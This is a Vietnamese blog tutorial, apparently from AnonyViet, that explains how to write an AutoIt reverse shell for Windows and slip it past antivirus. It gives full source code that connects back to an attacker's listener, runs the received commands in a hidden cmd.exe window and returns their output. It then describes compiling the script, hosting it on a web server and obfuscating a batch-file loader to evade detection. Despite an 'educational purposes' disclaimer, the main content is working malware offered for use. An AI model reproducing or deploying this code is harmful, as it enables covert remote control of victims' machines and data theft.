Trong thời đại của công nghệ số, khi mà an ninh mạng ngày càng trở nên quan trọng, việc nắm bắt những kiến thức về cách tấn công và phòng ngự là không thể phủ nhận. Với ngôn ngữ lập trình Autoit là một ngôn ngữ kịch bản dễ đọc và dễ hiểu, thường được sử dụng để tạo ra các kịch bản tự động hóa. Tuy nhiên, trong tay của những tin tặc, nó có thể trở thành một công cụ độc hại đầy sức mạnh.
Tham gia kênh Telegram của AnonyViet 👉 Link 👈 |
Chúng ta sẽ cùng nhau khám phá cách tin tặc tạo ra một cuộc tấn công Reverse Shell có thể vượt qua các biện pháp chống virus thông thường và làm thế nào Autoit có thể được lợi dụng để thực hiện điều này. Hãy cùng nhau khám phá nhé !
Lưu ý: Bài viết này chỉ dành cho mục đích giáo dục, nghiên cứu và học tập. Anonyviet sẽ không chịu toàn bộ trách nhiệm về các hành vi bất hợp pháp !
Giới thiệu ngắn gọn về ngôn ngữ lập trình Autoit
AutoIt là một ngôn ngữ lập trình dành cho hệ điều hành Windows, chủ yếu được sử dụng để tự động hóa các nhiệm vụ. Với cú pháp đơn giản và tích hợp mạnh mẽ với Windows, ngôn ngữ AutoIt là công cụ linh hoạt cho việc tạo kịch bản tự động, từ việc cài đặt phần mềm cho đến tương tác với giao diện người dùng. Được biết đến với tính ổn định và khả năng tương thích cao, ngôn ngữ lập trình AutoIt là sự lựa chọn phổ biến trong cộng đồng người sử dụng và phát triển phần mềm trên hệ điều hành Windows
Cách Hacker Bypass AV xâm nhập Windows với Autoit
Hacker xâm nhập vào máy tính của chúng ta với nhiều cách thức khác nhau. Nhưng trong bài viết này, mình sẽ đề cập đến kĩ thuật Reverse Shell, đây là một kỹ thuật phổ biến đối với việc xâm nhập hệ thống mạng, nơi các máy tính bị xâm nhập sẽ tạo ra một kết nối với máy tính mục tiêu của kẻ tấn công. Điều này cho phép kẻ tấn công tiến hành các hoạt động xâm nhập từ xa, bao gồm cài đặt mã độc, đánh cắp dữ liệu, sửa đổi cấu hình hệ thống, v.v. Kỹ thuật này chủ yếu được sử dụng nhằm khai thác độ tin cậy của hệ thống mạng và tạo ra một cửa sổ ảo nhằm thực hiện các hoạt động xâm nhập.
Trước hết, mình sẽ tạo một file có tên là ReverseShell.au3 và đoạn mã bắt đầu bằng việc khai báo các thư viện cần thiết từ AutoIt
#include <AutoItConstants.au3> #include <GUIConstantsEx.au3> #include <MsgBoxConstants.au3>
Tiếp đến, địa chỉ IP và cổng của máy chủ điều khiển được đặt trong các biến toàn cục. Trong trường hợp này, máy hacker được đặt với địa chỉ IP là 127.0.0.1 (localhost) và cổng là 4444
Global $host = "127.0.0.1" Global $port = 4444
Định nghĩa một biến toàn cục để lưu đường dẫn hiện tại của máy nạn nhân
Global $currentDir = @WorkingDir
Trong vòng lặp vô hạn, đoạn code này sẽ kiểm tra xem máy nạn nhân có thể truy cập được đến máy hacker không, bằng cách sử dụng hàm Ping. Nếu máy nạn nhân có thể truy cập được, nó sẽ thử kết nối đến máy hacker điều khiển thông qua giao thức TCP. Nếu kết nối thành công, vòng lặp sẽ thoát. Và ngược lại, nếu không kết nối được, đoạn code sẽ tiếp tục chạy đến khi kết nối thành công
While 1 If Ping($host, 250) Then ; Check if the server is reachable TCPStartup() $socket = TCPConnect($host, $port) If $socket <> -1 Then ; Check if the connection is successful ExitLoop ; Exit the loop if the connection is established EndIf TCPCloseSocket($socket) TCPShutdown() EndIf Sleep(1000) ; Wait for 1 second before retrying WEnd
Sau khi máy nạn nhân kết nối được tới máy hacker, máy nạn nhân sẽ gửi đường dẫn hiện tại đến máy hacker
TCPSend($socket, $currentDir & "> ")
Khi đã kết nối, máy nạn nhân tiếp tục lắng nghe để nhận các lệnh từ máy hacker điều khiển. Nếu lệnh nhận được bắt đầu bằng “cd”, nó thực hiện lệnh thay đổi thư mục. Nếu không, nó thực hiện lệnh trên hệ điều hành và gửi kết quả về máy của hacker
While 1 If @error Then ExitLoop $recv = TCPRecv($socket, 1024) If $recv <> "" Then If StringLeft($recv, 3) = "cd " Then ; Check if the command is a change directory command $dirToChange = StringTrimLeft($recv, 3) $dirToChange = StringStripWS($dirToChange, 3) ; Remove leading/trailing whitespaces If FileChangeDir($dirToChange) Then $currentDir = @WorkingDir TCPSend($socket, $currentDir & "> ") Else TCPSend($socket, "[!] Failed to change directory" & @CRLF) TCPSend($socket, $currentDir & "> ") EndIf Else $cmd = Run(@ComSpec & " /c " & $recv, "", @SW_HIDE, 2) $stdout = "" While @ComSpec & " /c " & $recv <> "" $line = StdoutRead($cmd) If @error Then ExitLoop $stdout &= $line WEnd $ret = TCPSend($socket, $stdout) TCPSend($socket, $currentDir & "> ") Sleep(500) EndIf EndIf WEnd
Sau khi hacker hoàn thành mục đích của mình, đoạn code AutoIt sẽ đóng kết nối TCP và tắt thư viện TCP
TCPCloseSocket($socket) TCPShutdown()
Đây là toàn bộ đoạn mã:
#include <AutoItConstants.au3> #include <GUIConstantsEx.au3> #include <MsgBoxConstants.au3> Global $host = "127.0.0.1" Global $port = 4444 Global $currentDir = @WorkingDir While 1 If Ping($host, 250) Then ; Check if the server is reachable TCPStartup() $socket = TCPConnect($host, $port) If $socket <> -1 Then ; Check if the connection is successful ExitLoop ; Exit the loop if the connection is established EndIf TCPCloseSocket($socket) TCPShutdown() EndIf Sleep(1000) ; Wait for 1 second before retrying WEnd TCPSend($socket, $currentDir & "> ") While 1 If @error Then ExitLoop $recv = TCPRecv($socket, 1024) If $recv <> "" Then If StringLeft($recv, 3) = "cd " Then ; Check if the command is a change directory command $dirToChange = StringTrimLeft($recv, 3) $dirToChange = StringStripWS($dirToChange, 3) ; Remove leading/trailing whitespaces If FileChangeDir($dirToChange) Then $currentDir = @WorkingDir TCPSend($socket, $currentDir & "> ") Else TCPSend($socket, "[!] Failed to change directory" & @CRLF TCPSend($socket, $currentDir & "> ") EndIf Else $cmd = Run(@ComSpec & " /c " & $recv, "", @SW_HIDE, 2) $stdout = "" While @ComSpec & " /c " & $recv <> "" $line = StdoutRead($cmd) If @error Then ExitLoop $stdout &= $line WEnd $ret = TCPSend($socket, $stdout) TCPSend($socket, $currentDir & "> ") Sleep(500) EndIf EndIf WEnd TCPCloseSocket($socket) TCPShutdown()
Tiếp theo, hacker sẽ biên dịch tập lệnh ReverseShell.au3 thành ReverseShell.a3x
Khi quá trình biên dịch hoàn tất, hacker mở một máy chủ web để lưu trữ file autoit.exe và ReverseShell.a3x để chuẩn bị thực hiện tấn công. Và ở đây mình đã chuẩn bị sẵn một tập lệnh Batch tên là RS.bat có nội dung như sau:
Giờ thì mình sẽ vào trang web https://www.batch-obfuscator.tk/ mã hóa file RS.bat này để vượt qua AntiVirus
Sau đây là kết quả scan của Virustotal: https://www.virustotal.com/gui/file/e18726a16d26bd432fd422a6a34636d61cfea23fde3a79639bd0cabb548fbfee?nocache=1
Video demo:
Như vậy, bằng cách tận dụng tính linh hoạt và khả năng tùy chỉnh của AutoIt, tin tặc có thể tạo ra các script độc hại mà các chương trình antivirus thường không nhận diện được. Một số phương pháp mà hacker thường sử dụng là thay đổi mã độc hại liên tục để tránh bị phát hiện, sử dụng kỹ thuật mã hóa hoặc thay đổi cấu trúc của mã để tránh nhận dạng bởi các phần mềm bảo mật. Cùng với đó là tận dụng các lỗ hổng trong hệ thống và sự sáng tạo trong việc tạo ra các kỹ thuật xâm nhập mới, tin tặc có thể tạo ra các công cụ xâm nhập mạnh mẽ, khó bị phát hiện và gây nguy hiểm đến các hệ thống. Từ đó, chúng ta cần phải luôn cập nhật và nâng cao kiến thức bảo mật để bảo vệ chính bản thân mình cũng như bảo vệ môi trường kỹ thuật số.
Đọc thêm: Mình đã Bypass AV xâm nhập Windows 10 với Metasploit và Python như thế nào ?
Câu hỏi thường gặp
AutoIt là gì và tại sao nó lại được sử dụng trong tấn công mạng?
AutoIt là một ngôn ngữ lập trình kịch bản mạnh mẽ, dễ sử dụng trên Windows, thường được dùng để tự động hóa tác vụ. Tuy nhiên, nó cũng có thể bị kẻ xấu lợi dụng để tạo ra mã độc, thực hiện các cuộc tấn công tự động và vượt qua phần mềm diệt virus.
Reverse Shell là gì và nó hoạt động như thế nào trong bối cảnh bài viết?
Reverse Shell là một kỹ thuật cho phép kẻ tấn công điều khiển máy tính nạn nhân từ xa. Trong bài viết, AutoIt được sử dụng để tạo một Reverse Shell, kết nối máy nạn nhân với máy tấn công, cho phép kẻ tấn công thực thi lệnh và truy cập dữ liệu trên máy nạn nhân.
Bài viết này có mục đích gì và liệu có an toàn khi thử nghiệm mã nguồn?
Bài viết mang tính chất giáo dục và nghiên cứu, nhằm nâng cao nhận thức về các mối đe dọa an ninh mạng. Thử nghiệm mã nguồn chỉ nên được thực hiện trong môi trường ảo và được phép, tuyệt đối không được sử dụng để thực hiện các hoạt động bất hợp pháp.
hay vay 😮